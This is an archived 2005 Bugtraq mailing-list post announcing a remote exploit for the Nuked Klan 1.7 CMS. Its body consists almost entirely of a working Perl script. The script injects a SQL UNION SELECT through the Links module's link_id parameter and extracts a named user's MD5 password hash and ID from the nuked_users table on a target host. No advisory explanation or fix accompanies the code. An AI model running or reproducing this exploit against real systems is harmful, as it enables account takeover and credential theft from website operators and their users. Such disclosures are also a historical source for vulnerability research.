[40864] in bugtraq
Nuked klan 1.7: Remote Exploit
daemon@ATHENA.MIT.EDU (papipsycho@hotmail.com)
Mon Oct 24 18:17:56 2005
Date: 24 Oct 2005 10:23:05 -0000
Message-ID: <20051024102305.22874.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: papipsycho@hotmail.com
To: bugtraq@securityfocus.com
#!/usr/bin/perl
use LWP::Simple;
if (@ARGV != 2)
{
print "\n Nuked klan 1.7: Remote Exploit\n";
print "---------------------------------------------\n\n";
print " Coded By Papipsycho for G00t R0t ? \n Contact: papipsycho@hotmail.com\n\n";
print "[!] usage: perl $0 [host] [user]\n";
print "[?] exam: perl $0 http://127.0.0.1/nk/ papipsycho\n\n";
print "Result:\n";
print "[+]user: papipsycho\n";
print "[+]pass(md5): 05632060d4357d8927n28df514a1fb27\n";
print "[+]id: sliN4piN4t6r4tirlX6b\n\n";
print "---------------------------------------------\n\n";
exit ();
}
$adr = $ARGV[0]; # http://127.0.0.1/nk/
$user = $ARGV[1]; # user
$phase1 = "index.php?file=Links&op=description&link_id=1' UNION SELECT id, pass, pseudo, id, pass ,mail, niveau, count FROM `nuked_users` where pseudo = '";
$phase2 = "' ORDER BY id DESC /*";
$url = $adr.$phase1.$user.$phase2;
$content = get($url);
print "[+]user: $user\n";
print "[+]pass(md5): ";
print $content =~ /(\w{32})/;
print "\n[+]id: ";
print $content =~ /(\w{20})/;
